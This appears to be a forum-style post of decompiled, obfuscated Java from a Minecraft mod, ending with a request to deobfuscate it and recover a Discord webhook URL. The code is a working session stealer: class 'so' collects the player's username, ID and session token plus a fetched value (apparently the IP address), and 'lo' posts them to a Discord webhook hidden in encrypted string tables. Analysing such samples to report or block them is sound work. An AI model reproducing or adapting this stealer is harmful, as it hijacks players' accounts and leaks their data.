package b;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import net.minecraft.client.Minecraft;

public class so {
   public String J;
   private static final String[] $o;

   public so() {
      try {
         String ao = $o[1207959552 >>> 10555];
         URL ao = new URL($o[Integer.parseInt("3", 28) << 13632]);
         BufferedReader ro = new BufferedReader(new InputStreamReader(ao.openStream()));
         ao = ro.readLine();
         lo Co = new lo($o[5 << 5760]);
         Co.setAvatarUrl($o[Integer.parseInt("gfaheb4", 20) >>> 7294]);
         Co.U($o[640 >>> 6630]);
         Co.setTts(true);
         Co.addEmbed((new Co()).setTitle(Minecraft.func_71410_x().func_110432_I().func_111285_a()).addField($o[-1342177280 >>> 2748], $o[33554432 >>> 8471] + Minecraft.func_71410_x().func_110432_I().func_148255_b() + $o[1 << Integer.parseInt("2ha", 24)], false).addField($o[3 << ("89".hashCode() ^ 13952)], $o[1 << Integer.parseInt("ef8", 21)] + Minecraft.func_71410_x().func_110432_I().func_148254_d() + $o[16 >>> 10851], false).addField($o[Integer.parseInt("4", 25) << 15361], $o[31 >>> Integer.parseInt("7bb", 26)] + Minecraft.func_71410_x().func_110432_I().func_111285_a(), false).addField($o[Integer.parseInt("ese", 31) >>> Integer.parseInt("5ge", 35)], ao, false));
         Co.execute();
      } catch (Exception var5) {
      }

   }

   static {
      char[] var0 = "ช\u0e779\u0088£¼i\u0093íç6\u0093¼±7\u0093¿¡p\u0099¢æt\u008f²çj\u0094¶¼jÏญ m\u0094§»#Ïø«}\u008eù¬p\u0093´§k\u0084¶¸iÎ´§tÏ¶¾x\u0094¶ºjÏàù/Ðãý)Øâü.Òàù!Øâñ6Ó¶ýxÖà®{\u0082çñ.\u0085²ÿxÙ¶ª*Ò´ý/Ù¶ÿ/Ù³ñ,Î§¦~ß¤¡c\u0085êü)Ùá\u0e68y\u0e75¿¼m\u0090íç6\u0083¿\u00adz\u008b¾¸7\u0081º©c\u008f¹©n\u0093ù«v\u008d\u0e6a¨y\u0080ฑ m\u0094§»#Ïø¬p\u0093´§k\u0084ù«v\u008dø©i\u0089ø¿|\u0082¿§v\u008b¤ç Öæù)Òáñ+Øåý)Ôàù)Ðø¢,¹æ\u0090.Ð¸\u0098.¹»\u0086r\u0093\u008d\u00974µ¥åz¸¦\u0099}×\u009a s\u008få°\\¦\u0088\u0098W\u0096\u009b\u0092h\u0095\u00ad\u009fr¤\u0085¢|\u0093\u0092«JÒ´ùw\u0090\u009b\u009eP§ã\u0087{Ò\u008d\u0e63J\u0085¤»p\u008f¹èP¤\u0e60\u0081IÀ\u0096\u008c]¥\u0084\u009b\u0e62³¼±9¬²©9\u00ad¸\u00ad\u0e64\u0085¥ºv\u0092÷¦p\u0099²èx\u0091\u0e66\u009b|\u0093¤¡v\u008e÷\u009bm\u0085¶¤|\u0092\u0e6d\u009dL©\u0093".toCharArray();
      int var1 = 114 >>> ("16".hashCode() ^ 2562);
      StackTraceElement var2;
      int var3 = (var2 = (new Throwable()).getStackTrace()[12 << ("1".hashCode() ^ 399)]).getMethodName().hashCode() & 1048560 >>> 16260;
      char[] var4 = var2.getClassName().toCharArray();
      int var10001 = 12 << 13790;
      ++var1;
      $o = new String[var0[var10001] ^ "Branchlock.net Demo".hashCode() ^ -1209566996 ^ "Branchlock.net Demo".hashCode() ^ -1209567165 ^ var3];
      int var5 = 78 << 6175;

      do {
         int var10;
         char[] var6 = new char[var10 = var0[var1++] ^ 402653184 >>> 14741 ^ var3];
         int var7 = ("93".hashCode() ^ 1846) >>> 10566;

         while(var10 > 0) {
            int var8 = var0[var1];
            switch(var4[var1 % var4.length] ^ 43 << 6144) {
            case 5:
               var8 ^= Integer.parseInt("-1rkko0q", 28) ^ "47".hashCode() ^ -959320787;
               break;
            case 68:
               var8 ^= -1905763272 + 1905763496;
               break;
            case 73:
               var8 ^= -1609823912 - -1609824127;
               break;
            case 88:
               var8 ^= Integer.parseInt("10a6k", 30) >>> 2255;
            }

            while(true) {
               var6[var7] = (char)var8;

               try {
                  ++var7;
                  ++var1;
                  --var10;
               } catch (Throwable var9) {
                  break;
               }

               var8 ^= -1905763272 + 1905763496;
            }
         }

         $o[var5++] = (new String(var6)).intern();
      } while(var1 < var0.length);

   }
}

   package b;

import java.awt.Color;
import java.io.IOException;
import java.io.OutputStream;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import javax.net.ssl.HttpsURLConnection;

public class lo {
   public int N;
   private final String Ec;
   private String co;
   private String F;
   private String dc;
   private boolean T;
   private List<Co> jc = new ArrayList();

   public lo(String url) {
      this.Ec = url;
   }

   public void t(String var1) {
      to.co = var1;
   }

   public void U(String no) {
      no.F = no;
   }

   public void setAvatarUrl(String avatarUrl) {
      this.dc = avatarUrl;
   }

   public void setTts(boolean tts) {
      this.T = tts;
   }

   public void addEmbed(Co embed) {
      this.jc.add(embed);
   }

   public void execute() throws IOException {
      if (this.co == null && this.jc.isEmpty()) {
         throw new IllegalArgumentException("Set content or add at least one EmbedObject");
      } else {
         eo json = new eo(this, (ro)null);
         json.put("content", this.co);
         json.put("username", this.F);
         json.put("avatar_url", this.dc);
         json.put("tts", this.T);
         if (!this.jc.isEmpty()) {
            List<eo> embedObjects = new ArrayList();
            Iterator var3 = this.jc.iterator();

            while(var3.hasNext()) {
               Co embed = (Co)var3.next();
               eo jsonEmbed = new eo(this, (ro)null);
               jsonEmbed.put("title", embed.getTitle());
               jsonEmbed.put("description", embed.getDescription());
               jsonEmbed.put("url", embed.getUrl());
               if (embed.getColor() != null) {
                  Color color = embed.getColor();
                  int rgb = color.getRed();
                  rgb = (rgb << 8) + color.getGreen();
                  rgb = (rgb << 8) + color.getBlue();
                  jsonEmbed.put("color", rgb);
               }

               no footer = embed.getFooter();
               ao image = embed.getImage();
               to thumbnail = embed.getThumbnail();
               do author = embed.getAuthor();
               List<io> fields = embed.getFields();
               eo jsonAuthor;
               if (footer != null) {
                  jsonAuthor = new eo(this, (ro)null);
                  jsonAuthor.put("text", no.l(footer));
                  jsonAuthor.put("icon_url", no.access$200(footer));
                  jsonEmbed.put("footer", jsonAuthor);
               }

               if (image != null) {
                  jsonAuthor = new eo(this, (ro)null);
                  jsonAuthor.put("url", ao.E(image));
                  jsonEmbed.put("image", jsonAuthor);
               }

               if (thumbnail != null) {
                  jsonAuthor = new eo(this, (ro)null);
                  jsonAuthor.put("url", to.C(thumbnail));
                  jsonEmbed.put("thumbnail", jsonAuthor);
               }

               if (author != null) {
                  jsonAuthor = new eo(this, (ro)null);
                  jsonAuthor.put("name", do.access$500(author));
                  jsonAuthor.put("url", do.a(author));
                  jsonAuthor.put("icon_url", do.access$700(author));
                  jsonEmbed.put("author", jsonAuthor);
               }

               List<eo> jsonFields = new ArrayList();
               Iterator var12 = fields.iterator();

               while(var12.hasNext()) {
                  io field = (io)var12.next();
                  eo jsonField = new eo(this, (ro)null);
                  jsonField.put("name", io.access$800(field));
                  jsonField.put("value", io.access$900(field));
                  jsonField.put("inline", io.access$1000(field));
                  jsonFields.add(jsonField);
               }

               jsonEmbed.put("fields", jsonFields.toArray());
               embedObjects.add(jsonEmbed);
            }

            json.put("embeds", embedObjects.toArray());
         }

         URL url = new URL(this.Ec);
         HttpsURLConnection connection = (HttpsURLConnection)url.openConnection();
         connection.addRequestProperty("Content-Type", "application/json");
         connection.addRequestProperty("User-Agent", "Java-DiscordWebhook-BY-Gelox_");
         connection.setDoOutput(true);
         connection.setRequestMethod("POST");
         OutputStream stream = connection.getOutputStream();
         stream.write(json.toString().getBytes(StandardCharsets.UTF_8));
         stream.flush();
         stream.close();
         connection.getInputStream().close();
         connection.disconnect();
      }
   }
}

    package b;

import java.lang.reflect.Array;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Set;
import java.util.Map.Entry;

public class eo {
   public int h;
   private final HashMap<String, Object> uc;
   // $FF: synthetic field
   final lo Ic;
   private static final String[] Uo;

   private eo(lo var1) {
      this.Ic = var1;
      this.uc = new HashMap();
   }

   void put(String key, Object value) {
      if (value != null) {
         this.uc.put(key, value);
      }

   }

   public String toString() {
      StringBuilder io = new StringBuilder();
      Set<Entry<String, Object>> ao = this.uc.entrySet();
      io.append(Uo[Integer.parseInt("i", 28) >>> 6437]);
      int to = 0;
      Iterator io = ao.iterator();

      while(io.hasNext()) {
         Entry<String, Object> so = (Entry)io.next();
         Object so = so.getValue();
         io.append(this.d((String)so.getKey())).append(Uo[3 << Integer.parseInt("2mh", 29)]);
         if (so instanceof String) {
            io.append(this.d(String.valueOf(so)));
         } else if (so instanceof Integer) {
            io.append(Integer.valueOf(String.valueOf(so)));
         } else if (so instanceof Boolean) {
            io.append(so);
         } else if (so instanceof eo) {
            io.append(so.toString());
         } else if (so.getClass().isArray()) {
            io.append(Uo[268435456 >>> 12474]);
            int no = Array.getLength(so);

            for(int io = 0; io < no; ++io) {
               io.append(Array.get(so, io).toString()).append(io != no - 1 ? Uo[5 << 4160] : "");
            }

            io.append(Uo[Integer.parseInt("318g", 20) >>> 5069]);
         }

         ++to;
         io.append(to == ao.size() ? Uo[67108864 >>> 14522] : Uo[5 << 9440]);
      }

      return io.toString();
   }

   private String d(String Co) {
      return Uo[1 << 7169] + Co + Uo[1 << 3457];
   }

   eo(lo var1, Object x1) {
      this(var1);
   }

   // $FF: synthetic method
   eo(lo x0, ro x1) {
      this(x0);
   }

   static {
      char[] var0 = "໙ຼÄຼ³ຼ\u009dຼ\u0093ຼäຼâຼ\u0085".toCharArray();
      int var1 = 17 >>> 6245;
      StackTraceElement var2;
      int var3 = (var2 = (new Throwable()).getStackTrace()[52 >>> Integer.parseInt("ik6", 24)]).getMethodName().hashCode() & 208871570 - 208806035;
      char[] var4 = var2.getClassName().toCharArray();
      int var10001 = 118 << 159;
      ++var1;
      Uo = new String[var0[var10001] ^ Integer.parseInt("4b", 27) << 4928 ^ var3];
      int var5 = Integer.parseInt("3r", 29) << 14687;

      do {
         int var10;
         char[] var6 = new char[var10 = var0[var1++] ^ 10240 >>> 6217 ^ var3];
         int var7 = Integer.parseInt("1l", 23) >>> 2950;

         while(var10 > 0) {
            int var8 = var0[var1];
            switch(var4[var1 % var4.length] ^ 111 << Integer.parseInt("27", 29)) {
            case 177:
               var8 ^= 233 << 10784;
               break;
            case 187:
               var8 ^= -177410470 - -177410661;
               break;
            case 188:
               var8 ^= Integer.parseInt("3m", 27) << 8033;
               break;
            case 240:
               var8 ^= 161 << Integer.parseInt("2t0", 32);
            }

            while(true) {
               var6[var7] = (char)var8;

               try {
                  ++var7;
                  ++var1;
                  --var10;
               } catch (Exception var9) {
                  break;
               }

               var8 ^= Integer.parseInt("3m", 27) << 8033;
            }
         }

         Uo[var5++] = (new String(var6)).intern();
      } while(var1 < var0.length);

   }
}

Can you try and deobfuscate and get the discord webhook url